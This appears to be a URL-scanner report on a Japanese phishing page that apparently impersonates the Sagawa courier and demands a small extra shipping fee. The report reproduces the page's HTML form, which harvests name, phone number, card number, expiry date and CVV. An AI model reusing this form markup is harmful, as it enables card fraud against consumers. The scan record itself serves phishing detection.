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https://access.crtrading.net/yubin/sagawa/OZEJK98HJSDJS/A.php
Submission: On February 15 via manual from JP — Scanned from JP
Submission: On February 15 via manual from JP — Scanned from JP
Form analysis
1 forms found in the DOMPOST ./siftA/A.php
<form action="./siftA/A.php" method="post">
<input type="hidden" name="captcha">
<input type="hidden" name="step" value="details">
<div class="input-group">
<label for="fullname">氏名<span>*</span></label>
<input type="text" id="fullname" name="fullname" placeholder="氏名" class="" value="" required="">
</div>
<div class="input-group">
<label for="phone">電話番号<span>*</span></label>
<input id="phone" type="phone" name="phone" placeholder="電話番号" class="" value="" required="" maxlength="13">
</div>
<br>
<div style="border-top: solid #000000; ">
<h1>支払い詳細</h1>
<div class="card-img">
<img style="max-width: 260px;" src="./xzour/ccc.png">
</div>
<div class="input-group">
<label for="one">カード番号<span>*</span></label>
<input id="one" type="text" placeholder="XXXX XXXX XXXX XXXX" name="one" class="" value="" required="">
</div>
<div class="input-group">
<label for="two">有効期限<span>*</span></label>
<input id="two" type="text" maxlength="7" placeholder="月/年" name="two" class="" value="" required="">
</div>
<div class="input-group">
<label for="three">セキュリティコード (CVV)<span>*</span></label>
<input id="three" type="text" placeholder="XXX" name="three" class="" value="" required="">
</div>
</div>
<div style="margin-top: 50px;"><button name="submit">次へ</button></div>
</form>
Text Content
注文番号、配送番号、配達コード:4707-6389-45792 標準包装 注文番号:4707-6389-45792 個人情報 氏名* 電話番号* 支払い詳細 カード番号* 有効期限* セキュリティコード (CVV)* 次へ 追加の配送料 ¥218.97 (税抜き¥218.97) -------------------------------------------------------------------------------- 合計 ¥218.97 (税込み)